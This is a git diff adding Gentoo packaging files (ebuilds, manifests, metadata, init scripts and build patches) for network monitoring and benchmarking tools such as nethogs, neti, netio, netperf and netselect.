+ cui.o: cui.cpp cui.h nethogs.h
+- $(CXX) $(CFLAGS) -c cui.cpp -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
++ $(CXX) $(CXXFLAGS) -c cui.cpp -DVERSION=\"$(VERSION)\" -DSUBVERSION=\"$(SUBVERSION)\" -DMINORVERSION=\"$(MINORVERSION)\"
+
+ .PHONY: clean
+ clean:
diff --git a/net-analyzer/nethogs/metadata.xml b/net-analyzer/nethogs/metadata.xml
new file mode 100644
index 000000000000..312bf770c96d
--- /dev/null
+++ b/net-analyzer/nethogs/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>
+NetHogs is a small 'net top' tool. Instead of breaking the traffic down
+ per protocol or per subnet, like most tools do, it groups bandwidth by
+process. NetHogs does not rely on a special kernel module to be loaded.
+If there's suddenly a lot of network traffic, you can fire up NetHogs and
+immediately see which PID is causing this. This makes it easy to indentify
+programs that have gone wild and are suddenly taking up your bandwidth.
+</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nethogs</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nethogs/nethogs-0.8.0-r4.ebuild b/net-analyzer/nethogs/nethogs-0.8.0-r4.ebuild
new file mode 100644
index 000000000000..9356d4f1c57e
--- /dev/null
+++ b/net-analyzer/nethogs/nethogs-0.8.0-r4.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A small 'net top' tool, grouping bandwidth by process"
+HOMEPAGE="http://nethogs.sf.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-1"
+SLOT="0"
+KEYWORDS="amd64 ~arm ~ia64 x86"
+
+RDEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+DOCS=( Changelog DESIGN README )
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ tc-export CC CXX PKG_CONFIG
+}
diff --git a/net-analyzer/neti/Manifest b/net-analyzer/neti/Manifest
new file mode 100644
index 000000000000..f33c7896ba46
--- /dev/null
+++ b/net-analyzer/neti/Manifest
@@ -0,0 +1 @@
+DIST neti-2.0.tar.gz 383442 SHA256 483f2955baa17a1143ea60ead4a6744f4802dbe8a8a55ad22bd9992322a6e867 SHA512 5a1156195106e8dcb738c5d2efdd88b77803fa16145db182f2d782a21316fac18af6812b264ece3bc49a5d6713b2aa86aca13129edd01753bf5cf0dd33b1aeb5 WHIRLPOOL 2a4cc1701e30b43f436adf9097c143c8f0cf5b0c49319f81626261a2ad6bfd9f42ad27bcd1fa8aa38d4d6cfbd9662996380c4fd8c791434a6ff766997cb84f20
diff --git a/net-analyzer/neti/files/neti-init2 b/net-analyzer/neti/files/neti-init2
new file mode 100644
index 000000000000..be967841b6f7
--- /dev/null
+++ b/net-analyzer/neti/files/neti-init2
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting netiathome"
+ start-stop-daemon --start --quiet --exec /usr/sbin/neti -- -D
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping netiathome"
+ start-stop-daemon --stop --quiet --exec /usr/sbin/neti
+ eend $?
+}
diff --git a/net-analyzer/neti/metadata.xml b/net-analyzer/neti/metadata.xml
new file mode 100644
index 000000000000..fce9bd0bf3c6
--- /dev/null
+++ b/net-analyzer/neti/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">neti</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/neti/neti-2.0-r1.ebuild b/net-analyzer/neti/neti-2.0-r1.ebuild
new file mode 100644
index 000000000000..1ba478dd6780
--- /dev/null
+++ b/net-analyzer/neti/neti-2.0-r1.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="NETI@Home research project from GATech"
+HOMEPAGE="http://www.neti.gatech.edu"
+SRC_URI="mirror://sourceforge/neti/${P}.tar.gz"
+
+KEYWORDS="~ppc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="zlib java"
+
+DEPEND="
+ java? ( || ( >=virtual/jdk-1.2 >=virtual/jre-1.2 ) )
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+RESTRICT="test"
+
+src_configure() {
+ econf $(use_with zlib)
+}
+
+src_compile() {
+ emake NETILogParse neti
+
+ use java && emake javadir=/usr/share/${PN} classjava.stamp
+}
+
+src_install() {
+ emake \
+ DESTDIR="${D}" \
+ install-sbinPROGRAMS \
+ install-sysconfDATA \
+ install-man \
+ install-info
+
+ if use java; then
+ emake \
+ DESTDIR="${D}" \
+ javadir=/usr/share/${PN} \
+ install-javaJAVA \
+ install-javaDATA
+
+ echo cd /usr/share/${PN}\;java -cp /usr/share/${PN} NETIMap > "${WORKDIR}"/NETIMap
+ dobin "${WORKDIR}"/NETIMap
+ fi
+
+ dodoc README AUTHORS
+ newinitd "${FILESDIR}"/neti-init2 neti
+}
diff --git a/net-analyzer/neti/neti-2.0.ebuild b/net-analyzer/neti/neti-2.0.ebuild
new file mode 100644
index 000000000000..3e0cd53b4612
--- /dev/null
+++ b/net-analyzer/neti/neti-2.0.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+DESCRIPTION="NETI@Home research project from GATech"
+HOMEPAGE="http://www.neti.gatech.edu"
+SRC_URI="mirror://sourceforge/neti/${P}.tar.gz"
+
+KEYWORDS="~ppc x86"
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="zlib java"
+
+DEPEND="java? ( || ( >=virtual/jdk-1.2 >=virtual/jre-1.2 ) )
+ net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+RESTRICT="test"
+
+src_compile() {
+ econf \
+ $(use_with zlib) \
+ || die "econf failed"
+
+ emake NETILogParse neti \
+ || die "emake NETILogParse neti failed"
+
+ if use java;
+ then
+ emake javadir=/usr/share/${PN} classjava.stamp || die "emake classjava.stamp failed"
+ fi
+}
+
+src_install() {
+ emake DESTDIR="${D}" install-sbinPROGRAMS \
+ install-sysconfDATA install-man install-info || die "emake install failed"
+
+ if use java;
+ then
+ emake javadir=/usr/share/${PN} \
+ DESTDIR="${D}" install-javaJAVA install-javaDATA || die "emake java install failed"
+ dobin /usr/bin
+ echo cd /usr/share/${PN}\;java -cp /usr/share/${PN} NETIMap > "${D}"/usr/bin/NETIMap
+ fperms ugo+x /usr/bin/NETIMap
+ fi
+
+ dodoc README AUTHORS
+ newinitd "${FILESDIR}"/neti-init2 neti
+}
diff --git a/net-analyzer/netio/Manifest b/net-analyzer/netio/Manifest
new file mode 100644
index 000000000000..eacbc95f4a21
--- /dev/null
+++ b/net-analyzer/netio/Manifest
@@ -0,0 +1 @@
+DIST netio132.zip 162484 SHA256 c21550dfac6634558a7a79957eed28c46c62e0543017ef9d5c97c49f3cd41ddd SHA512 3473b6b41c4a1e054fa0eb3316bc16e799034b4b9402c7751f29724d8ec70c674d3de59140fdbdc301c53f2a24b44d58e8cd50a68f107bd892b1d17b6e695232 WHIRLPOOL 105a55d85292c19d13e8cf61200d1cc6e51b17c061f32adf859f66f53b4000775f2eb248cd767895767369d7cc58963356da61cda7808c4b05c94d0e400f1b31
diff --git a/net-analyzer/netio/files/netio-1.26-linux-include.patch b/net-analyzer/netio/files/netio-1.26-linux-include.patch
new file mode 100644
index 000000000000..e006c82d71aa
--- /dev/null
+++ b/net-analyzer/netio/files/netio-1.26-linux-include.patch
@@ -0,0 +1,13 @@
+Add missing include (see inet(3)) - JeR
+
+
+--- a/netio.c
++++ b/netio.c
+@@ -199,6 +199,7 @@
+ #include <sys/time.h>
+ #include <time.h>
+ #include <netinet/in.h>
++#include <arpa/inet.h>
+ #include <netdb.h>
+
+ #define psock_errno(x) perror(x)
diff --git a/net-analyzer/netio/metadata.xml b/net-analyzer/netio/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/netio/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/netio/netio-1.32.ebuild b/net-analyzer/netio/netio-1.32.ebuild
new file mode 100644
index 000000000000..f346d6ffa1aa
--- /dev/null
+++ b/net-analyzer/netio/netio-1.32.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="a network benchmarking tool that measures net throughput with NetBIOS and TCP/IP protocols"
+HOMEPAGE="http://www.ars.de/ars/ars.nsf/docs/netio"
+SRC_URI='http://www.ars.de/ARS/ars.nsf/f24a6a0b94c22d82862566960071bf5a/aa577bc4be573b05c125706d004c75b5/$FILE/netio132.zip'
+
+LICENSE="free-noncomm"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86 ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+IUSE=""
+RESTRICT="mirror" # bug #391789 comment #1
+
+DEPEND="app-arch/unzip
+ >=sys-apps/sed-4"
+
+S="${WORKDIR}"
+
+src_prepare() {
+ edos2unix *.c *.h
+
+ sed -i \
+ -e "s|LFLAGS=\"\"|LFLAGS?=\"${LDFLAGS}\"|g" \
+ -e 's|\(CC\)=|\1?=|g' \
+ -e 's|\(CFLAGS\)=|\1+=|g' \
+ Makefile || die
+ epatch "${FILESDIR}"/${PN}-1.26-linux-include.patch
+}
+
+src_compile() {
+ emake \
+ CC="$(tc-getCC)" \
+ CFLAGS="${CFLAGS}" \
+ linux
+}
+
+src_install() {
+ dobin netio
+ dodoc netio.doc
+}
diff --git a/net-analyzer/netperf/Manifest b/net-analyzer/netperf/Manifest
new file mode 100644
index 000000000000..510c44ed70f1
--- /dev/null
+++ b/net-analyzer/netperf/Manifest
@@ -0,0 +1,2 @@
+DIST netperf-2.6.0.tar.bz2 1032953 SHA256 cd8dac710d4273d29f70e8dbd09353a6362ac58a11926e0822233c0cb230323a SHA512 b3921d2e887088b14a8bbe5ace9b1cc0c8b29951eeaa7857ce3f324933397c8ff6b56eeacfe755181ce1a56c982fe431955f6db55bd20f2343324e22ee23c9b3 WHIRLPOOL b602c8660bae59648cbbe9eed47ee9d86b0ae714bc0c2906e80a14d0ce18951f125f3331f90acd776850b04506e37030545084677f6be512477ea37f76d972e7
+DIST netperf-2.7.0.tar.bz2 1024430 SHA256 842af17655835c8be7203808c3393e6cb327a8067f3ed1f1053eb78b4e40375a SHA512 5fb37945bead831247de9c8ba86b33f134ba39e753b483df72de97f536d0846538dadf61acc2dee57f04ab5d16a92afab4890e79a5d7ffa863afd526267fffad WHIRLPOOL 66c81e418750d67bfa15d6f1e3cd7a3a65f1168ebb080263cf70e0f3fe023a8128bfc559249268ec8e597ef3db5acdf5509861f12f8f49c6b2586e679014e34a
diff --git a/net-analyzer/netperf/files/netperf-2.2-conf b/net-analyzer/netperf/files/netperf-2.2-conf
new file mode 100644
index 000000000000..f61f483a83ea
--- /dev/null
+++ b/net-analyzer/netperf/files/netperf-2.2-conf
@@ -0,0 +1,4 @@
+# Config file for /etc/init.d/netperf
+
+# Add your preferred netserver args here
+#NETSERVER_ARGS="-n 4"
diff --git a/net-analyzer/netperf/files/netperf-2.2-init b/net-analyzer/netperf/files/netperf-2.2-init
new file mode 100644
index 000000000000..a6816a592135
--- /dev/null
+++ b/net-analyzer/netperf/files/netperf-2.2-init
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+#
+# init.d script for net-analyzer/netperf's netserver
+#
+
+depend() {
+ use net
+}
+
+start() {
+ ebegin 'Starting netperf server (netserver)'
+ start-stop-daemon --start --quiet --user nobody \
+ --exec /usr/sbin/netserver -- ${NETSERVER_ARGS} >/dev/null
+ eend $?
+}
+
+stop() {
+ ebegin 'Stopping netperf server (netserver)'
+ start-stop-daemon --stop --quiet --exec /usr/sbin/netserver
+ eend $?
+}
diff --git a/net-analyzer/netperf/files/netperf-2.6.0-log-dir.patch b/net-analyzer/netperf/files/netperf-2.6.0-log-dir.patch
new file mode 100644
index 000000000000..00554cc0b5c2
--- /dev/null
+++ b/net-analyzer/netperf/files/netperf-2.6.0-log-dir.patch
@@ -0,0 +1,11 @@
+--- a/src/netserver.c
++++ b/src/netserver.c
+@@ -165,7 +165,7 @@
+ #elif defined(ANDROID)
+ #define DEBUG_LOG_FILE_DIR "/data/local/tmp/"
+ #else
+-#define DEBUG_LOG_FILE_DIR "/tmp/"
++#define DEBUG_LOG_FILE_DIR "/var/log/"
+ #endif
+ #endif /* DEBUG_LOG_FILE_DIR */
+
diff --git a/net-analyzer/netperf/files/netperf-2.7.0-includes.patch b/net-analyzer/netperf/files/netperf-2.7.0-includes.patch
new file mode 100644
index 000000000000..63c3cea40f4e
--- /dev/null
+++ b/net-analyzer/netperf/files/netperf-2.7.0-includes.patch
@@ -0,0 +1,22 @@
+--- a/src/net_uuid.c
++++ b/src/net_uuid.c
+@@ -28,6 +28,7 @@
+ #include <stdlib.h>
+ #include <string.h>
+ #include <fcntl.h>
++#include <unistd.h> /* read(), close() */
+
+ #if defined(HAVE_INTTYPES_H)
+ #include <inttypes.h>
+--- a/src/netlib.c
++++ b/src/netlib.c
+@@ -81,6 +81,9 @@
+ #include <endian.h>
+ #endif
+
++#if defined(HAVE_SENDFILE)
++#include <sys/sendfile.h> /* sendfile() */
++#endif
+
+ #ifndef WIN32
+ /* at some point, I would like to get rid of all these "sys/"
diff --git a/net-analyzer/netperf/files/netperf-fix-scripts.patch b/net-analyzer/netperf/files/netperf-fix-scripts.patch
new file mode 100644
index 000000000000..27e041fd7a32
--- /dev/null
+++ b/net-analyzer/netperf/files/netperf-fix-scripts.patch
@@ -0,0 +1,34 @@
+--- a/doc/examples/arr_script
++++ b/doc/examples/arr_script
+@@ -12,8 +12,7 @@
+ TOLERANCE=15
+ MAX_RETRIES=3
+
+- NETPERF="/usr/local/netperf/netperf"
+- NETPERF="./netperf"
++ NETPERF="/usr/bin/netperf"
+
+ NPROC_LIST=""
+ RR_SIZES=""
+--- a/doc/examples/packet_byte_script
++++ b/doc/examples/packet_byte_script
+@@ -25,7 +25,7 @@
+ fi
+
+ # where is netperf
+-NETPERF_DIR=${NETPERF_DIR:=/opt/netperf2/bin}
++NETPERF_DIR=${NETPERF_DIR:=/usr/bin}
+
+
+ # at what port will netserver be waiting? If you decide to run
+--- a/doc/examples/snapshot_script
++++ b/doc/examples/snapshot_script
+@@ -37,7 +37,7 @@
+ #
+ # where is netperf installed, there are a few possible places:
+
+-NETPERF_CMD=${NETPERF_CMD:=/opt/netperf/netperf}
++NETPERF_CMD=${NETPERF_CMD:=/usr/bin/netperf}
+
+
+ # there should be no more than two parms passed
diff --git a/net-analyzer/netperf/metadata.xml b/net-analyzer/netperf/metadata.xml
new file mode 100644
index 000000000000..9f51ead35bd7
--- /dev/null
+++ b/net-analyzer/netperf/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='demo'>Emit interim results during the run. May affect results</flag>
+<flag name='sctp'>Include tests to measure SCTP performance</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/netperf/netperf-2.6.0-r1.ebuild b/net-analyzer/netperf/netperf-2.6.0-r1.ebuild
new file mode 100644
index 000000000000..2aaa038e7274
--- /dev/null
+++ b/net-analyzer/netperf/netperf-2.6.0-r1.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic
+
+DESCRIPTION="Network performance benchmark including tests for TCP, UDP, sockets, ATM and more"
+SRC_URI="ftp://ftp.netperf.org/${PN}/${P}.tar.bz2"
+KEYWORDS="alpha amd64 arm64 hppa ia64 ppc ppc64 sparc x86"
+
+HOMEPAGE="http://www.netperf.org/"
+LICENSE="netperf"
+SLOT="0"
+IUSE="demo sctp"
+
+DEPEND=">=sys-apps/sed-4"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-fix-scripts.patch \
+ "${FILESDIR}"/${P}-log-dir.patch
+
+ # Fixing paths in scripts
+ sed -i \
+ -e 's:^\(NETHOME=\).*:\1"/usr/bin":' \
+ doc/examples/sctp_stream_script \
+ doc/examples/tcp_range_script \
+ doc/examples/tcp_rr_script \
+ doc/examples/tcp_stream_script \
+ doc/examples/udp_rr_script \
+ doc/examples/udp_stream_script \
+ || die
+
+ # netlib.c:2292:5: warning: implicit declaration of function ‘sched_setaffinity’
+ # nettest_omni.c:2943:5: warning: implicit declaration of function ‘splice’
+ append-cppflags -D_GNU_SOURCE
+}
+
+src_configure() {
+ econf \
+ $(use_enable demo) \
+ $(use_enable sctp)
+}
+
+src_install () {
+ default
+
+ # move netserver into sbin as we had it before 2.4 was released with its
+ # autoconf goodness
+ dodir /usr/sbin
+ mv "${D}"/usr/{bin,sbin}/netserver || die
+
+ # init.d / conf.d
+ newinitd "${FILESDIR}"/${PN}-2.2-init netperf
+ newconfd "${FILESDIR}"/${PN}-2.2-conf netperf
+
+ # documentation and example scripts
+ dodoc AUTHORS ChangeLog NEWS README Release_Notes
+ dodir /usr/share/doc/${PF}/examples
+ #Scripts no longer get installed by einstall
+ cp doc/examples/*_script "${D}"/usr/share/doc/${PF}/examples || die
+}
diff --git a/net-analyzer/netperf/netperf-2.7.0.ebuild b/net-analyzer/netperf/netperf-2.7.0.ebuild
new file mode 100644
index 000000000000..3a312bbb16f8
--- /dev/null
+++ b/net-analyzer/netperf/netperf-2.7.0.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic
+
+DESCRIPTION="Network performance benchmark including tests for TCP, UDP, sockets, ATM and more"
+SRC_URI="ftp://ftp.netperf.org/${PN}/${P}.tar.bz2"
+KEYWORDS="~alpha ~amd64 ~arm64 ~hppa ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+HOMEPAGE="http://www.netperf.org/"
+LICENSE="netperf"
+SLOT="0"
+IUSE="demo sctp"
+
+DEPEND=">=sys-apps/sed-4"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-fix-scripts.patch \
+ "${FILESDIR}"/${PN}-2.6.0-log-dir.patch \
+ "${FILESDIR}"/${PN}-2.7.0-includes.patch
+
+ # Fixing paths in scripts
+ sed -i \
+ -e 's:^\(NETHOME=\).*:\1"/usr/bin":' \
+ doc/examples/sctp_stream_script \
+ doc/examples/tcp_range_script \
+ doc/examples/tcp_rr_script \
+ doc/examples/tcp_stream_script \
+ doc/examples/udp_rr_script \
+ doc/examples/udp_stream_script \
+ || die
+
+ # netlib.c:2292:5: warning: implicit declaration of function ‘sched_setaffinity’
+ # nettest_omni.c:2943:5: warning: implicit declaration of function ‘splice’
+ append-cppflags -D_GNU_SOURCE
+}
+
+src_configure() {
+ econf \
+ $(use_enable demo) \
+ $(use_enable sctp)
+}
+
+src_install () {
+ default
+
+ # move netserver into sbin as we had it before 2.4 was released with its
+ # autoconf goodness
+ dodir /usr/sbin
+ mv "${D}"/usr/{bin,sbin}/netserver || die
+
+ # init.d / conf.d
+ newinitd "${FILESDIR}"/${PN}-2.2-init netperf
+ newconfd "${FILESDIR}"/${PN}-2.2-conf netperf
+
+ # documentation and example scripts
+ dodoc AUTHORS ChangeLog NEWS README Release_Notes
+ dodir /usr/share/doc/${PF}/examples
+ #Scripts no longer get installed by einstall
+ cp doc/examples/*_script "${D}"/usr/share/doc/${PF}/examples || die
+}
diff --git a/net-analyzer/netselect/Manifest b/net-analyzer/netselect/Manifest
new file mode 100644
index 000000000000..ecac5649c218
--- /dev/null
+++ b/net-analyzer/netselect/Manifest
@@ -0,0 +1 @@
+DIST netselect-0.3.tar.gz 22047 SHA256 fe81942589d5219d030e5cecfb12787fb6d3613416cb326dea4952bf53f9c978 SHA512 04a4b79c357a0110dcf377ad04ac729ed7854bec4b064ad16da632367ce1870379546fffc8396ea770bfa580618d7c0495c16b0ba30f736419511b890ce5dca5 WHIRLPOOL 2e49cb22b12c88a1d9f42da19b42284ae98d391739bf7bd1e134661b8780ef733b26f5f4be4ed61dce3a4a9922a6a10d9040698fa3f4910ceacc54df4a42afcc
diff --git a/net-analyzer/netselect/files/netselect-0.3-bsd.patch b/net-analyzer/netselect/files/netselect-0.3-bsd.patch
new file mode 100644
index 000000000000..e9624d87215a
--- /dev/null
+++ b/net-analyzer/netselect/files/netselect-0.3-bsd.patch
@@ -0,0 +1,56 @@
+--- a/netselect.c
++++ b/netselect.c
+@@ -39,14 +39,14 @@
+ * hey, great! Let me know. -- apenwarr
+ */
+
+-#ifdef __EMX__
+-# include <io.h>
+-# include <fcntl.h>
+-# include <sys/types.h>
+-# include <sys/select.h>
+-# include <machine/endian.h>
+-#else
+-# include <endian.h>
++#ifdef __linux__
++#include <endian.h>
++#include <sys/types.h>
++#elif defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__NetBSD__) || defined(__APPLE__)
++#if defined(__OpenBSD__)
++#include <machine/types.h>
++#endif
++#include <machine/endian.h>
+ #endif
+
+ #include <sys/param.h>
+@@ -152,6 +152,7 @@
+ extern int optind;
+ int hostcount, startcount, endcount = 0, sent_one, lag, min_lag = 100;
+ int ch, seq, ttl, max_ttl = 30, min_tries = 10, num_score = 1;
++ int on = 1;
+ struct timeval now;
+ struct timezone tz;
+ OPacket outpacket; /* last output (udp) packet */
+@@ -234,7 +235,12 @@
+ if (verbose >= 1)
+ fprintf(stderr, "Running netselect to choose %d out of %d address%s.\n",
+ num_score, numhosts, numhosts==1 ? "" : "es");
+-
++
++ if (setsockopt(sndsock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
++ perror("IP_HDRINCL");
++ _exit(EXIT_FAILURE);
++ }
++
+ /* keep going until most of the hosts have been finished */
+ must_continue = numhosts;
+ while (must_continue && must_continue >= numhosts/2)
+@@ -712,7 +718,7 @@
+ ip->ip_off = 0;
+ ip->ip_hl = sizeof(*ip) >> 2;
+ ip->ip_p = IPPROTO_UDP;
+- ip->ip_len = 0; /* kernel fills this in */
++ ip->ip_len = sizeof(OPacket);
+ ip->ip_ttl = ttl;
+ ip->ip_v = IPVERSION;
+ ip->ip_id = htons(ident + seq);
diff --git a/net-analyzer/netselect/files/netselect-0.3-glibc.patch b/net-analyzer/netselect/files/netselect-0.3-glibc.patch
new file mode 100644
index 000000000000..053e5865b341
--- /dev/null
+++ b/net-analyzer/netselect/files/netselect-0.3-glibc.patch
@@ -0,0 +1,11 @@
+--- a/netselect.c
++++ b/netselect.c
+@@ -780,7 +780,7 @@
+ #if !defined(__GLIBC__)
+ int fromlen = sizeof(from);
+ #else /* __GLIBC__ */
+- size_t fromlen = sizeof(from);
++ socklen_t fromlen = sizeof(from);
+ #endif /* __GLIBC__ */
+
+ FD_ZERO(&fds);
diff --git a/net-analyzer/netselect/metadata.xml b/net-analyzer/netselect/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/netselect/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/netselect/netselect-0.3-r3.ebuild b/net-analyzer/netselect/netselect-0.3-r3.ebuild
new file mode 100644
index 000000000000..342b5af7a9f5
--- /dev/null
+++ b/net-analyzer/netselect/netselect-0.3-r3.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="Ultrafast implementation of ping"
+HOMEPAGE="http://apenwarr.ca/netselect/"
+SRC_URI="${HOMEPAGE}/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}/${P}-bsd.patch" \
+ "${FILESDIR}/${P}-glibc.patch"
+
+ sed -i \
+ -e "s:PREFIX =.*:PREFIX = ${ED}usr:" \
+ -e "s:CFLAGS =.*:CFLAGS = -Wall -I. ${CFLAGS}:" \
+ -e "s:LDFLAGS =.*:LDFLAGS = ${LDFLAGS}:" \
+ -e '23,27d' \
+ -e '34d' \
+ Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install () {
+ dobin netselect
+ if ! use prefix ; then
+ fowners root:wheel /usr/bin/netselect
+ fperms 4711 /usr/bin/netselect
+ fi
+ dodoc ChangeLog HISTORY README*
+}
diff --git a/net-analyzer/netselect/netselect-0.3-r4.ebuild b/net-analyzer/netselect/netselect-0.3-r4.ebuild
new file mode 100644
index 000000000000..66996ae787de
--- /dev/null
+++ b/net-analyzer/netselect/netselect-0.3-r4.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="Ultrafast implementation of ping"
+HOMEPAGE="http://apenwarr.ca/netselect/"
+SRC_URI="${HOMEPAGE}/${P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos ~x86-macos"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}/${P}-bsd.patch" \
+ "${FILESDIR}/${P}-glibc.patch"
+
+ sed -i \
+ -e "s:PREFIX =.*:PREFIX = ${ED}usr:" \
+ -e "s:CFLAGS =.*:CFLAGS = -Wall -I. ${CFLAGS}:" \
+ -e "s:LDFLAGS =.*:LDFLAGS = ${LDFLAGS}:" \
+ -e '23,27d' \
+ -e '34d' \
+ Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install () {
+ dobin netselect
+ if ! use prefix ; then
+ fowners root:wheel /usr/bin/netselect
+ fperms 4711 /usr/bin/netselect
+ fi
+ dodoc ChangeLog HISTORY README*
+}
diff --git a/net-analyzer/netsniff-ng/Manifest b/net-analyzer/netsniff-ng/Manifest
new file mode 100644
index 000000000000..31dd32dd007e
--- /dev/null
+++ b/net-analyzer/netsniff-ng/Manifest
@@ -0,0 +1,4 @@
+DIST netsniff-ng-0.5.7-r1.tar.gz 2957112 SHA256 ab4e1ef6aadb00b998349aff66e4e1cec53910113344c53ac8eb947fd46b5e89 SHA512 b400d8b21edb4395b946ac105bbb25a83330151e09d1efd130537375930ea03b928c166b792f44ccbacfa72f9de818c37553a0be98970c26da5ba255a1f2d6c1 WHIRLPOOL b83e1351e60fdaa076e611fd308b61be549a1cc6663f6039affd3fa3be002ec485776f67ceba54879584fc1822a9ad178141833ac5522d2444e67859cf8fbe58
+DIST netsniff-ng-0.5.8.tar.xz 523616 SHA256 c413e7f34bd9bd80937cd8d4bcd6780e126e2ffccc3dc34b271f105efd622e44 SHA512 1d58cf7a5388b8adb4512d97150992d6b8ebe43910442b952cecd8d03898a2e51f721711f2d1b406cbd00b4ccb548e33da4cb95530d7e92f082eea6b08efec99 WHIRLPOOL a73b8d67d5ca2cc40d5c9e1535f0a50a7968f102a1a5684f8bec0e7079140c0605dace126de23abca3f53a31db90da8f5fedeca0eea27621983743d88d74d416
